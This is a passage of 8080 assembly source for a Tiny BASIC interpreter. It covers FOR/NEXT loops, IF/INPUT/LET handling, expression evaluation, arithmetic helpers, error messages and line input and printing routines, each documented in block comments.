;* 'NEXT VAR' SERVES AS THE LOGICAL (NOT NECESSARILLY PHYSICAL)
;* END OF THE 'FOR' LOOP. THE CONTROL VARIABLE VAR. IS CHECKED
;* WITH THE 'LOPVAR'. IF THEY ARE NOT THE SAME, TBI DIGS IN
;* THE STACK TO FIND THE RIGHT ONE AND PURGES ALL THOSE THAT
;* DID NOT MATCH. EITHER WAY, TBI THEN ADDS THE 'STEP' TO
;* THAT VARIABLE AND CHECK THE RESULT WITH THE LIMIT. IF IT
;* IS WITHIN THE LIMIT, CONTROL LOOPS BACK TO THE COMMAND
;* FOLLOWING THE 'FOR'. IF OUTSIDE THE LIMIT, THE SAVE AREA
;* IS PURGED AND EXECUTION CONTINUES.
;*
FOR: CALL PUSHA ;SAVE THE OLD SAVE AREA
CALL SETVAL ;SET THE CONTROL VAR.
DCX H ;HL IS ITS ADDRESS
SHLD LOPVAR ;SAVE THAT
LXI H,TAB5-1 ;USE 'EXEC' TO LOOK
JMP EXEC ;FOR THE WORD 'TO'
FR1: RST 3 ;EVALUATE THE LIMIT
SHLD LOPLMT ;SAVE THAT
LXI H,TAB6-1 ;USE 'EXEC' TO LOOK
JMP EXEC ;FOR THE WORD 'STEP'
FR2: RST 3 ;FOUND IT, GET STEP
JMP FR4
FR3: LXI H,1 ;NOT FOUND, SET TO 1
FR4: SHLD LOPINC ;SAVE THAT TOO
FR5: LHLD CURRNT ;SAVE CURRENT LINE #
SHLD LOPLN
XCHG ;AND TEXT POINTER
SHLD LOPPT
LXI B,10 ;DIG INTO STACK TO
LHLD LOPVAR ;FIND 'LOPVAR'
XCHG
MOV H,B
MOV L,B ;HL=0 NOW
DAD SP ;HERE IS THE STACK
DB 3EH
FR7: DAD B ;EACH LEVEL IS 10 DEEP
MOV A,M ;GET THAT OLD 'LOPVAR'
INX H
ORA M
JZ FR8 ;0 SAYS NO MORE IN IT
MOV A,M
DCX H
CMP D ;SAME AS THIS ONE?
JNZ FR7
MOV A,M ;THE OTHER HALF?
CMP E
JNZ FR7
XCHG ;YES, FOUND ONE
LXI H,0
DAD SP ;TRY TO MOVE SP
MOV B,H
MOV C,L
LXI H,10
DAD D
CALL MVDOWN ;AND PURGE 10 WORDS
SPHL ;IN THE STACK
FR8: LHLD LOPPT ;JOB DONE, RESTORE DE
XCHG
RST 6 ;AND CONTINUE
;
NEXT: RST 7 ;GET ADDRESS OF VAR.
JC QWHAT ;NO VARIABLE, "WHAT?"
SHLD VARNXT ;YES, SAVE IT
NX0: PUSH D ;SAVE TEXT POINTER
XCHG
LHLD LOPVAR ;GET VAR. IN 'FOR'
MOV A,H
ORA L ;0 SAYS NEVER HAD ONE
JZ AWHAT ;SO WE ASK: "WHAT?"
RST 4 ;ELSE WE CHECK THEM
JZ NX3 ;OK, THEY AGREE
POP D ;NO, LET'S SEE
CALL POPA ;PURGE CURRENT LOOP
LHLD VARNXT ;AND POP ONE LEVEL
JMP NX0 ;GO CHECK AGAIN
NX3: MOV E,M ;COME HERE WHEN AGREED
INX H
MOV D,M ;DE=VALUE OF VAR.
LHLD LOPINC
PUSH H
DAD D ;ADD ONE STEP
XCHG
LHLD LOPVAR ;PUT IT BACK
MOV M,E
INX H
MOV M,D
LHLD LOPLMT ;HL->LIMIT
POP PSW ;OLD HL
ORA A
JP NX1 ;STEP > 0
XCHG ;STEP < 0
NX1: CALL CKHLDE ;COMPARE WITH LIMIT
POP D ;RESTORE TEXT POINTER
JC NX2 ;OUTSIDE LIMIT
LHLD LOPLN ;WITHIN LIMIT, GO
SHLD CURRNT ;BACK TO THE SAVED
LHLD LOPPT ;'CURRNT' AND TEXT
XCHG ;POINTER
RST 6
NX2: CALL POPA ;PURGE THIS LOOP
RST 6
;
;*************************************************************
;*
;* *** REM *** IF *** INPUT *** & LET (& DEFLT) ***
;*
;* 'REM' CAN BE FOLLOWED BY ANYTHING AND IS IGNORED BY TBI.
;* TBI TREATS IT LIKE AN 'IF' WITH A FALSE CONDITION.
;*
;* 'IF' IS FOLLOWED BY AN EXPR. AS A CONDITION AND ONE OR MORE
;* COMMANDS (INCLUDING OTHER 'IF'S) SEPERATED BY SEMI-COLONS.
;* NOTE THAT THE WORD 'THEN' IS NOT USED. TBI EVALUATES THE
;* EXPR. IF IT IS NON-ZERO, EXECUTION CONTINUES. IF THE
;* EXPR. IS ZERO, THE COMMANDS THAT FOLLOWS ARE IGNORED AND
;* EXECUTION CONTINUES AT THE NEXT LINE.
;*
;* 'INPUT' COMMAND IS LIKE THE 'PRINT' COMMAND, AND IS FOLLOWED
;* BY A LIST OF ITEMS. IF THE ITEM IS A STRING IN SINGLE OR
;* DOUBLE QUOTES, OR IS A BACK-ARROW, IT HAS THE SAME EFFECT AS
;* IN 'PRINT'. IF AN ITEM IS A VARIABLE, THIS VARIABLE NAME IS
;* PRINTED OUT FOLLOWED BY A COLON. THEN TBI WAITS FOR AN
;* EXPR. TO BE TYPED IN. THE VARIABLE IS THEN SET TO THE
;* VALUE OF THIS EXPR. IF THE VARIABLE IS PROCEDED BY A STRING
;* (AGAIN IN SINGLE OR DOUBLE QUOTES), THE STRING WILL BE
;* PRINTED FOLLOWED BY A COLON. TBI THEN WAITS FOR INPUT EXPR.
;* AND SET THE VARIABLE TO THE VALUE OF THE EXPR.
;*
;* IF THE INPUT EXPR. IS INVALID, TBI WILL PRINT "WHAT?",
;* "HOW?" OR "SORRY" AND REPRINT THE PROMPT AND REDO THE INPUT.
;* THE EXECUTION WILL NOT TERMINATE UNLESS YOU TYPE CONTROL-C.
;* THIS IS HANDLED IN 'INPERR'.
;*
;* 'LET' IS FOLLOWED BY A LIST OF ITEMS SEPERATED BY COMMAS.
;* EACH ITEM CONSISTS OF A VARIABLE, AN EQUAL SIGN, AND AN EXPR.
;* TBI EVALUATES THE EXPR. AND SET THE VARIABLE TO THAT VALUE.
;* TBI WILL ALSO HANDLE 'LET' COMMAND WITHOUT THE WORD 'LET'.
;* THIS IS DONE BY 'DEFLT'.
;*
REM: LXI H,0 ;*** REM ***
DB 3EH ;THIS IS LIKE 'IF 0'
;
IFF: RST 3 ;*** IF ***
MOV A,H ;IS THE EXPR.=0?
ORA L
JNZ RUNSML ;NO, CONTINUE
CALL FNDSKP ;YES, SKIP REST OF LINE
JNC RUNTSL ;AND RUN THE NEXT LINE
RST 0 ;IF NO NEXT, RE-START
;
INPERR: LHLD STKINP ;*** INPERR ***
SPHL ;RESTORE OLD SP
POP H ;AND OLD 'CURRNT'
SHLD CURRNT
POP D ;AND OLD TEXT POINTER
POP D
;
INPUT EQU $ ;*** INPUT ***
IP1: PUSH D ;SAVE IN CASE OF ERROR
CALL QTSTG ;IS NEXT ITEM A STRING?
JMP IP2 ;NO
RST 7 ;YES, BUT FOLLOWED BY A
JC IP4 ;VARIABLE? NO.
JMP IP3 ;YES. INPUT VARIABLE
IP2: PUSH D ;SAVE FOR 'PRTSTG'
RST 7 ;MUST BE VARIABLE NOW
JC QWHAT ;"WHAT?" IT IS NOT?
LDAX D ;GET READY FOR 'PRTSTR'
MOV C,A
SUB A
STAX D
POP D
CALL PRTSTG ;PRINT STRING AS PROMPT
MOV A,C ;RESTORE TEXT
DCX D
STAX D
IP3: PUSH D ;SAVE IN CASE OF ERROR
XCHG
LHLD CURRNT ;ALSO SAVE 'CURRNT'
PUSH H
LXI H,IP1 ;A NEGATIVE NUMBER
SHLD CURRNT ;AS A FLAG
LXI H,0 ;SAVE SP TOO
DAD SP
SHLD STKINP
PUSH D ;OLD HL
MVI A,':' ;PRINT THIS TOO
CALL GETLN ;AND GET A LINE
LXI D,BUFFER ;POINTS TO BUFFER
RST 3 ;EVALUATE INPUT
NOP ;CAN BE 'CALL ENDCHK'
NOP
NOP
POP D ;OK, GET OLD HL
XCHG
MOV M,E ;SAVE VALUE IN VAR.
INX H
MOV M,D
POP H ;GET OLD 'CURRNT'
SHLD CURRNT
POP D ;AND OLD TEXT POINTER
IP4: POP PSW ;PURGE JUNK IN STACK
RST 1 ;IS NEXT CH. ','?
DB ','
DB IP5-$-1
JMP IP1 ;YES, MORE ITEMS.
IP5: RST 6
;
DEFLT: LDAX D ;*** DEFLT ***
CPI CR ;EMPTY LINE IS OK
JZ LT1 ;ELSE IT IS 'LET'
;
LET: CALL SETVAL ;*** LET ***
RST 1 ;SET VALUE TO VAR.
DB ','
DB LT1-$-1
JMP LET ;ITEM BY ITEM
LT1: RST 6 ;UNTIL FINISH
;
;*************************************************************
;*
;* *** EXPR ***
;*
;* 'EXPR' EVALUATES ARITHMETICAL OR LOGICAL EXPRESSIONS.
;* <EXPR>::<EXPR2>
;* <EXPR2><REL.OP.><EXPR2>
;* WHERE <REL.OP.> IS ONE OF THE OPERATORS IN TAB8 AND THE
;* RESULT OF THESE OPERATIONS IS 1 IF TRUE AND 0 IF FALSE.
;* <EXPR2>::=(+ OR -)<EXPR3>(+ OR -<EXPR3>)(....)
;* WHERE () ARE OPTIONAL AND (....) ARE OPTIONAL REPEATS.
;* <EXPR3>::=<EXPR4>(* OR /><EXPR4>)(....)
;* <EXPR4>::=<VARIABLE>
;* <FUNCTION>
;* (<EXPR>)
;* <EXPR> IS RECURSIVE SO THAT VARIABLE '@' CAN HAVE AN <EXPR>
;* AS INDEX, FUNCTIONS CAN HAVE AN <EXPR> AS ARGUMENTS, AND
;* <EXPR4> CAN BE AN <EXPR> IN PARANTHESE.
;*
;EXPR: CALL EXPR2 ;THIS IS AT LOC. 18
; PUSH H ;SAVE <EXPR2> VALUE
EXPR1: LXI H,TAB8-1 ;LOOKUP REL.OP.
JMP EXEC ;GO DO IT
XP11: CALL XP18 ;REL.OP.">="
RC ;NO, RETURN HL=0
MOV L,A ;YES, RETURN HL=1
RET
XP12: CALL XP18 ;REL.OP."#"
RZ ;FALSE, RETURN HL=0
MOV L,A ;TRUE, RETURN HL=1
RET
XP13: CALL XP18 ;REL.OP.">"
RZ ;FALSE
RC ;ALSO FALSE, HL=0
MOV L,A ;TRUE, HL=1
RET
XP14: CALL XP18 ;REL.OP."<="
MOV L,A ;SET HL=1
RZ ;REL. TRUE, RETURN
RC
MOV L,H ;ELSE SET HL=0
RET
XP15: CALL XP18 ;REL.OP."="
RNZ ;FALSE, RETURN HL=0
MOV L,A ;ELSE SET HL=1
RET
XP16: CALL XP18 ;REL.OP."<"
RNC ;FALSE, RETURN HL=0
MOV L,A ;ELSE SET HL=1
RET
XP17: POP H ;NOT .REL.OP
RET ;RETURN HL=<EXPR2>
XP18: MOV A,C ;SUBROUTINE FOR ALL
POP H ;REL.OP.'S
POP B
PUSH H ;REVERSE TOP OF STACK
PUSH B
MOV C,A
CALL EXPR2 ;GET 2ND <EXPR2>
XCHG ;VALUE IN DE NOW
XTHL ;1ST <EXPR2> IN HL
CALL CKHLDE ;COMPARE 1ST WITH 2ND
POP D ;RESTORE TEXT POINTER
LXI H,0 ;SET HL=0, A=1
MVI A,1
RET
;
EXPR2: RST 1 ;NEGATIVE SIGN?
DB '-'
DB XP21-$-1
LXI H,0 ;YES, FAKE '0-'
JMP XP26 ;TREAT LIKE SUBTRACT
XP21: RST 1 ;POSITIVE SIGN? IGNORE
DB '+'
DB XP22-$-1
XP22: CALL EXPR3 ;1ST <EXPR3>
XP23: RST 1 ;ADD?
DB '+'
DB XP25-$-1
PUSH H ;YES, SAVE VALUE
CALL EXPR3 ;GET 2ND <EXPR3>
XP24: XCHG ;2ND IN DE
XTHL ;1ST IN HL
MOV A,H ;COMPARE SIGN
XRA D
MOV A,D
DAD D
POP D ;RESTORE TEXT POINTER
JM XP23 ;1ST AND 2ND SIGN DIFFER
XRA H ;1ST AND 2ND SIGN EQUAL
JP XP23 ;SO IS RESULT
JMP QHOW ;ELSE WE HAVE OVERFLOW
XP25: RST 1 ;SUBTRACT?
DB '-'
DB XP42-$-1
XP26: PUSH H ;YES, SAVE 1ST <EXPR3>
CALL EXPR3 ;GET 2ND <EXPR3>
CALL CHGSGN ;NEGATE
JMP XP24 ;AND ADD THEM
;
EXPR3: CALL EXPR4 ;GET 1ST <EXPR4>
XP31: RST 1 ;MULTIPLY?
DB '*'
DB XP34-$-1
PUSH H ;YES, SAVE 1ST
CALL EXPR4 ;AND GET 2ND <EXPR4>
MVI B,0 ;CLEAR B FOR SIGN
CALL CHKSGN ;CHECK SIGN
XCHG ;2ND IN DE NOW
XTHL ;1ST IN HL
CALL CHKSGN ;CHECK SIGN OF 1ST
MOV A,H ;IS HL > 255 ?
ORA A
JZ XP32 ;NO
MOV A,D ;YES, HOW ABOUT DE
ORA D
XCHG ;PUT SMALLER IN HL
JNZ AHOW ;ALSO >, WILL OVERFLOW
XP32: MOV A,L ;THIS IS DUMB
LXI H,0 ;CLEAR RESULT
ORA A ;ADD AND COUNT
JZ XP35
XP33: DAD D
JC AHOW ;OVERFLOW
DCR A
JNZ XP33
JMP XP35 ;FINISHED
XP34: RST 1 ;DIVIDE?
DB '/'
DB XP42-$-1
PUSH H ;YES, SAVE 1ST <EXPR4>
CALL EXPR4 ;AND GET THE SECOND ONE
MVI B,0 ;CLEAR B FOR SIGN
CALL CHKSGN ;CHECK SIGN OF 2ND
XCHG ;PUT 2ND IN DE
XTHL ;GET 1ST IN HL
CALL CHKSGN ;CHECK SIGN OF 1ST
MOV A,D ;DIVIDE BY 0?
ORA E
JZ AHOW ;SAY "HOW?"
PUSH B ;ELSE SAVE SIGN
CALL DIVIDE ;USE SUBROUTINE
MOV H,B ;RESULT IN HL NOW
MOV L,C
POP B ;GET SIGN BACK
XP35: POP D ;AND TEXT POINTER
MOV A,H ;HL MUST BE +
ORA A
JM QHOW ;ELSE IT IS OVERFLOW
MOV A,B
ORA A
CM CHGSGN ;CHANGE SIGN IF NEEDED
JMP XP31 ;LOOK FOR MORE TERMS
;
EXPR4: LXI H,TAB4-1 ;FIND FUNCTION IN TAB4
JMP EXEC ;AND GO DO IT
XP40: RST 7 ;NO, NOT A FUNCTION
JC XP41 ;NOR A VARIABLE
MOV A,M ;VARIABLE
INX H
MOV H,M ;VALUE IN HL
MOV L,A
RET
XP41: CALL TSTNUM ;OR IS IT A NUMBER
MOV A,B ;# OF DIGIT
ORA A
RNZ ;OK
PARN: RST 1
DB '('
DB XP43-$-1
RST 3 ;"(EXPR)"
RST 1
DB ')'
DB XP43-$-1
XP42: RET
XP43: JMP QWHAT ;ELSE SAY: "WHAT?"
;
RND: CALL PARN ;*** RND(EXPR) ***
MOV A,H ;EXPR MUST BE +
ORA A
JM QHOW
ORA L ;AND NON-ZERO
JZ QHOW
PUSH D ;SAVE BOTH
PUSH H
LHLD RANPNT ;GET MEMORY AS RANDOM
LXI D,LSTROM ;NUMBER
RST 4
JC RA1 ;WRAP AROUND IF LAST
LXI H,START
RA1: MOV E,M
INX H
MOV D,M
SHLD RANPNT
POP H
XCHG
PUSH B
CALL DIVIDE ;RND(N)=MOD(M,N)+1
POP B
POP D
INX H
RET
;
ABS: CALL PARN ;*** ABS(EXPR) ***
CALL CHKSGN ;CHECK SIGN
MOV A,H ;NOTE THAT -32768
ORA H ;CANNOT CHANGE SIGN
JM QHOW ;SO SAY: "HOW?"
RET
;
SIZE: LHLD TXTUNF ;*** SIZE ***
PUSH D ;GET THE NUMBER OF FREE
XCHG ;BYTES BETWEEN 'TXTUNF'
LXI H,VARBGN ;AND 'VARBGN'
CALL SUBDE
POP D
RET
;
;*************************************************************
;*
;* *** DIVIDE *** SUBDE *** CHKSGN *** CHGSGN *** & CKHLDE ***
;*
;* 'DIVIDE' DIVIDES HL BY DE, RESULT IN BC, REMAINDER IN HL
;*
;* 'SUBDE' SUBSTRACTS DE FROM HL
;*
;* 'CHKSGN' CHECKS SIGN OF HL. IF +, NO CHANGE. IF -, CHANGE
;* SIGN AND FLIP SIGN OF B.
;*
;* 'CHGSGN' CHANGES SIGN OF HL AND B UNCONDITIONALLY.
;*
;* 'CKHLDE' CHECKS SIGN OF HL AND DE. IF DIFFERENT, HL AND DE
;* ARE INTERCHANGED. IF SAME SIGN, NOT INTERCHANGED. EITHER
;* CASE, HL DE ARE THEN COMPARED TO SET THE FLAGS.
;*
DIVIDE: PUSH H ;*** DIVIDE ***
MOV L,H ;DIVIDE H BY DE
MVI H,0
CALL DV1
MOV B,C ;SAVE RESULT IN B
MOV A,L ;(REMINDER+L)/DE
POP H
MOV H,A
DV1: MVI C,-1 ;RESULT IN C
DV2: INR C ;DUMB ROUTINE
CALL SUBDE ;DIVIDE BY SUBTRACT
JNC DV2 ;AND COUNT
DAD D
RET
;
SUBDE: MOV A,L ;*** SUBDE ***
SUB E ;SUBSTRACT DE FROM
MOV L,A ;HL
MOV A,H
SBB D
MOV H,A
RET
;
CHKSGN: MOV A,H ;*** CHKSGN ***
ORA A ;CHECK SIGN OF HL
RP ;IF -, CHANGE SIGN
;
CHGSGN: MOV A,H ;*** CHGSGN ***
CMA ;CHANGE SIGN OF HL
MOV H,A
MOV A,L
CMA
MOV L,A
INX H
MOV A,B ;AND ALSO FLIP B
XRI 80H
MOV B,A
RET
;
CKHLDE: MOV A,H
XRA D ;SAME SIGN?
JP CK1 ;YES, COMPARE
XCHG ;NO, XCH AND COMP
CK1: RST 4
RET
;
;*************************************************************
;*
;* *** SETVAL *** FIN *** ENDCHK *** & ERROR (& FRIENDS) ***
;*
;* "SETVAL" EXPECTS A VARIABLE, FOLLOWED BY AN EQUAL SIGN AND
;* THEN AN EXPR. IT EVALUATES THE EXPR. AND SET THE VARIABLE
;* TO THAT VALUE.
;*
;* "FIN" CHECKS THE END OF A COMMAND. IF IT ENDED WITH ";",
;* EXECUTION CONTINUES. IF IT ENDED WITH A CR, IT FINDS THE
;* NEXT LINE AND CONTINUE FROM THERE.
;*
;* "ENDCHK" CHECKS IF A COMMAND IS ENDED WITH CR. THIS IS
;* REQUIRED IN CERTAIN COMMANDS. (GOTO, RETURN, AND STOP ETC.)
;*
;* "ERROR" PRINTS THE STRING POINTED BY DE (AND ENDS WITH CR).
;* IT THEN PRINTS THE LINE POINTED BY 'CURRNT' WITH A "?"
;* INSERTED AT WHERE THE OLD TEXT POINTER (SHOULD BE ON TOP
;* OF THE STACK) POINTS TO. EXECUTION OF TB IS STOPPED
;* AND TBI IS RESTARTED. HOWEVER, IF 'CURRNT' -> ZERO
;* (INDICATING A DIRECT COMMAND), THE DIRECT COMMAND IS NOT
;* PRINTED. AND IF 'CURRNT' -> NEGATIVE # (INDICATING 'INPUT'
;* COMMAND), THE INPUT LINE IS NOT PRINTED AND EXECUTION IS
;* NOT TERMINATED BUT CONTINUED AT 'INPERR'.
;*
;* RELATED TO 'ERROR' ARE THE FOLLOWING:
;* 'QWHAT' SAVES TEXT POINTER IN STACK AND GET MESSAGE "WHAT?"
;* 'AWHAT' JUST GET MESSAGE "WHAT?" AND JUMP TO 'ERROR'.
;* 'QSORRY' AND 'ASORRY' DO SAME KIND OF THING.
;* 'QHOW' AND 'AHOW' IN THE ZERO PAGE SECTION ALSO DO THIS.
;*
SETVAL: RST 7 ;*** SETVAL ***
JC QWHAT ;"WHAT?" NO VARIABLE
PUSH H ;SAVE ADDRESS OF VAR.
RST 1 ;PASS "=" SIGN
DB '='
DB SV1-$-1
RST 3 ;EVALUATE EXPR.
MOV B,H ;VALUE IS IN BC NOW
MOV C,L
POP H ;GET ADDRESS
MOV M,C ;SAVE VALUE
INX H
MOV M,B
RET
SV1: JMP QWHAT ;NO "=" SIGN
;
FIN: RST 1 ;*** FIN ***
DB ';'
DB FI1-$-1
POP PSW ;";", PURGE RET. ADDR.
JMP RUNSML ;CONTINUE SAME LINE
FI1: RST 1 ;NOT ";", IS IT CR?
DB CR
DB FI2-$-1
POP PSW ;YES, PURGE RET. ADDR.
JMP RUNNXL ;RUN NEXT LINE
FI2: RET ;ELSE RETURN TO CALLER
;
ENDCHK: RST 5 ;*** ENDCHK ***
CPI CR ;END WITH CR?
RZ ;OK, ELSE SAY: "WHAT?"
;
QWHAT: PUSH D ;*** QWHAT ***
AWHAT: LXI D,WHAT ;*** AWHAT ***
ERROR: SUB A ;*** ERROR ***
CALL PRTSTG ;PRINT 'WHAT?', 'HOW?'
POP D ;OR 'SORRY'
LDAX D ;SAVE THE CHARACTER
PUSH PSW ;AT WHERE OLD DE ->
SUB A ;AND PUT A 0 THERE
STAX D
LHLD CURRNT ;GET CURRENT LINE #
PUSH H
MOV A,M ;CHECK THE VALUE
INX H
ORA M
POP D
JZ START ;IF ZERO, JUST RESTART
MOV A,M ;IF NEGATIVE,
ORA A
JM INPERR ;REDO INPUT
CALL PRTLN ;ELSE PRINT THE LINE
DCX D ;UPTO WHERE THE 0 IS
POP PSW ;RESTORE THE CHARACTER
STAX D
MVI A,'?' ;PRINT A "?"
RST 2
SUB A ;AND THE REST OF THE
CALL PRTSTG ;LINE
RST 0 ;THEN RESTART
;
QSORRY: PUSH D ;*** QSORRY ***
ASORRY: LXI D,SORRY ;*** ASORRY ***
JMP ERROR
;
;*************************************************************
;*
;* *** GETLN *** FNDLN (& FRIENDS) ***
;*
;* 'GETLN' READS A INPUT LINE INTO 'BUFFER'. IT FIRST PROMPT
;* THE CHARACTER IN A (GIVEN BY THE CALLER), THEN IT FILLS
;* THE BUFFER AND ECHOS. IT IGNORES LF'S AND NULLS, BUT STILL
;* ECHOS THEM BACK. RUB-OUT IS USED TO CAUSE IT TO DELETE
;* THE LAST CHARACTER (IF THERE IS ONE), AND ALT-MOD IS USED TO
;* CAUSE IT TO DELETE THE WHOLE LINE AND START IT ALL OVER.
;* CR SIGNALS THE END OF A LINE, AND CAUSE 'GETLN' TO RETURN.
;*
;* 'FNDLN' FINDS A LINE WITH A GIVEN LINE # (IN HL) IN THE
;* TEXT SAVE AREA. DE IS USED AS THE TEXT POINTER. IF THE
;* LINE IS FOUND, DE WILL POINT TO THE BEGINNING OF THAT LINE
;* (I.E., THE LOW BYTE OF THE LINE #), AND FLAGS ARE NC & Z.
;* IF THAT LINE IS NOT THERE AND A LINE WITH A HIGHER LINE #
;* IS FOUND, DE POINTS TO THERE AND FLAGS ARE NC & NZ. IF
;* WE REACHED THE END OF TEXT SAVE AREA AND CANNOT FIND THE
;* LINE, FLAGS ARE C & NZ.
;* 'FNDLN' WILL INITIALIZE DE TO THE BEGINNING OF THE TEXT SAVE
;* AREA TO START THE SEARCH. SOME OTHER ENTRIES OF THIS
;* ROUTINE WILL NOT INITIALIZE DE AND DO THE SEARCH.
;* 'FDLNP' WILL START WITH DE AND SEARCH FOR THE LINE #.
;* 'FNDNXT' WILL BUMP DE BY 2, FIND A CR AND THEN START SEARCH.
;* 'FNDSKP' USE DE TO FIND A CR, AND THEN START SEARCH.
;*
GETLN: RST 2 ;*** GETLN ***
LXI D,BUFFER ;PROMPT AND INIT.
GL1: CALL CHKIO ;CHECK KEYBOARD
JZ GL1 ;NO INPUT, WAIT
RST 2 ;INPUT, ECHO BACK
CPI LF ;IGNORE LF
JZ GL1
ORA A ;IGNORE NULL
JZ GL1
CPI DEL ;DELETE LAST CHARACTER?
JZ GL3 ;YES
; CPI DLLN ;DELETE THE WHOLE LINE?
CPI CNTLU
JZ GL4 ;YES
STAX D ;ELSE SAVE INPUT
INX D ;AND BUMP POINTER
CPI CR ;WAS IT CR?
RZ ;YES, END OF LINE
MOV A,E ;ELSE MORE FREE ROOM?
CPI BUFEND AND 0FFH
JNZ GL1 ;YES, GET NEXT INPUT
GL3: MOV A,E ;DELETE LAST CHARACTER
CPI BUFFER AND 0FFH ;BUT DO WE HAVE ANY?
JZ GL4 ;NO, REDO WHOLE LINE
DCX D ;YES, BACKUP POINTER
MVI A,BKS ;AND ECHO A BACK-SLASH
RST 2
JMP GL1 ;GO GET NEXT INPUT
GL4: CALL CRLF ;REDO ENTIRE LINE
MVI A,UPA ;CR, LF AND UP-ARROW
JMP GETLN
;
FNDLN: MOV A,H ;*** FNDLN ***
ORA A ;CHECK SIGN OF HL
JM QHOW ;IT CANNOT BE -
LXI D,TXTBGN ;INIT TEXT POINTER
;
FDLNP EQU $ ;*** FDLNP ***
FL1: PUSH H ;SAVE LINE #
LHLD TXTUNF ;CHECK IF WE PASSED END
DCX H
RST 4
POP H ;GET LINE # BACK
RC ;C,NZ PASSED END
LDAX D ;WE DID NOT, GET BYTE 1
SUB L ;IS THIS THE LINE?
MOV B,A ;COMPARE LOW ORDER
INX D
LDAX D ;GET BYTE 2
SBB H ;COMPARE HIGH ORDER
JC FL2 ;NO, NOT THERE YET
DCX D ;ELSE WE EITHER FOUND
ORA B ;IT, OR IT IS NOT THERE
RET ;NC,Z:FOUND, NC,NZ:NO
;
FNDNXT EQU $ ;*** FNDNXT ***
INX D ;FIND NEXT LINE
FL2: INX D ;JUST PASSED BYTE 1 & 2
;
FNDSKP: LDAX D ;*** FNDSKP ***
CPI CR ;TRY TO FIND CR
JNZ FL2 ;KEEP LOOKING
INX D ;FOUND CR, SKIP OVER
JMP FL1 ;CHECK IF END OF TEXT
;
;*************************************************************
;*
;* *** PRTSTG *** QTSTG *** PRTNUM *** & PRTLN ***
;*
;* 'PRTSTG' PRINTS A STRING POINTED BY DE. IT STOPS PRINTING
;* AND RETURNS TO CALLER WHEN EITHER A CR IS PRINTED OR WHEN
;* THE NEXT BYTE IS THE SAME AS WHAT WAS IN A (GIVEN BY THE
;* CALLER). OLD A IS STORED IN B, OLD B IS LOST.
;*
;* 'QTSTG' LOOKS FOR A BACK-ARROW, SINGLE QUOTE, OR DOUBLE
;* QUOTE. IF NONE OF THESE, RETURN TO CALLER. IF BACK-ARROW,
;* OUTPUT A CR WITHOUT A LF. IF SINGLE OR DOUBLE QUOTE, PRINT
;* THE STRING IN THE QUOTE AND DEMANDS A MATCHING UNQUOTE.
;* AFTER THE PRINTING THE NEXT 3 BYTES OF THE CALLER IS SKIPPED
;* OVER (USUALLY A JUMP INSTRUCTION.
;*
;* 'PRTNUM' PRINTS THE NUMBER IN HL. LEADING BLANKS ARE ADDED
;* IF NEEDED TO PAD THE NUMBER OF SPACES TO THE NUMBER IN C.
;* HOWEVER, IF THE NUMBER OF DIGITS IS LARGER THAN THE # IN
;* C, ALL DIGITS ARE PRINTED ANYWAY. NEGATIVE SIGN IS ALSO
;* PRINTED AND COUNTED IN, POSITIVE SIGN IS NOT.
;*
;* 'PRTLN' PRINTS A SAVED TEXT LINE WITH LINE # AND ALL.
;*
PRTSTG: MOV B,A ;*** PRTSTG ***
PS1: LDAX D ;GET A CHARACTER
INX D ;BUMP POINTER
CMP B ;SAME AS OLD A?
RZ ;YES, RETURN
RST 2 ;ELSE PRINT IT
CPI CR ;WAS IT A CR?
JNZ PS1 ;NO, NEXT
RET ;YES, RETURN
;
QTSTG: RST 1 ;*** QTSTG ***
DB '"'
DB QT3-$-1
MVI A,'"' ;IT IS A "
QT1: CALL PRTSTG ;PRINT UNTIL ANOTHER
CPI CR ;WAS LAST ONE A CR?
POP H ;RETURN ADDRESS
JZ RUNNXL ;WAS CR, RUN NEXT LINE
QT2: INX H ;SKIP 3 BYTES ON RETURN
INX H
INX H
PCHL ;RETURN
QT3: RST 1 ;IS IT A '?
DB QT
DB QT4-$-1
MVI A,QT ;YES, DO THE SAME
JMP QT1 ;AS IN "
QT4: RST 1 ;IS IT BACK-ARROW?
DB BKA
DB QT5-$-1
MVI A,8DH ;YES, CR WITHOUT LF
RST 2 ;DO IT TWICE TO GIVE
RST 2 ;TTY ENOUGH TIME
POP H ;RETURN ADDRESS
JMP QT2
QT5: RET ;NONE OF ABOVE
;
PRTNUM: PUSH D ;*** PRTNUM ***
LXI D,10 ;DECIMAL
PUSH D ;SAVE AS A FLAG
MOV B,D ;B=SIGN
DCR C ;C=SPACES
CALL CHKSGN ;CHECK SIGN
JP PN1 ;NO SIGN
MVI B,'-' ;B=SIGN
DCR C ;'-' TAKES SPACE
PN1: PUSH B ;SAVE SIGN & SPACE
PN2: CALL DIVIDE ;DIVIDE HL BY 10
MOV A,B ;RESULT 0?
ORA C
JZ PN3 ;YES, WE GOT ALL
XTHL ;NO, SAVE REMAINDER
DCR L ;AND COUNT SPACE
PUSH H ;HL IS OLD BC
MOV H,B ;MOVE RESULT TO BC
MOV L,C
JMP PN2 ;AND DIVIDE BY 10
PN3: POP B ;WE GOT ALL DIGITS IN
PN4: DCR C ;THE STACK
MOV A,C ;LOOK AT SPACE COUNT
ORA A
JM PN5 ;NO LEADING BLANKS
MVI A,' ' ;LEADING BLANKS
RST 2
JMP PN4 ;MORE?
PN5: MOV A,B ;PRINT SIGN
RST 2 ;MAYBE - OR NULL
MOV E,L ;LAST REMAINDER IN E
PN6: MOV A,E ;CHECK DIGIT IN E
CPI 10 ;10 IS FLAG FOR NO MORE
POP D
RZ ;IF SO, RETURN
ADI '0' ;ELSE CONVERT TO ASCII
RST 2 ;AND PRINT THE DIGIT
JMP PN6 ;GO BACK FOR MORE
;
PRTLN: LDAX D ;*** PRTLN ***
MOV L,A ;LOW ORDER LINE #
INX D
LDAX D ;HIGH ORDER
MOV H,A
INX D
MVI C,4 ;PRINT 4 DIGIT LINE #
CALL PRTNUM
MVI A,' ' ;FOLLOWED BY A BLANK
RST 2
SUB A ;AND THEN THE NEXT
CALL PRTSTG
RET
;
;*************************************************************
;*
;* *** MVUP *** MVDOWN *** POPA *** & PUSHA ***
;*
;* 'MVUP' MOVES A BLOCK UP FROM WHERE DE-> TO WHERE BC-> UNTIL
;* DE = HL
;*
;* 'MVDOWN' MOVES A BLOCK DOWN FROM WHERE DE-> TO WHERE HL->
;* UNTIL DE = BC
;*
;* 'POPA' RESTORES THE 'FOR' LOOP VARIABLE SAVE AREA FROM THE
;* STACK
;*
;* 'PUSHA' STACKS THE 'FOR' LOOP VARIABLE SAVE AREA INTO THE
;* STACK
;*
MVUP: RST 4 ;*** MVUP ***
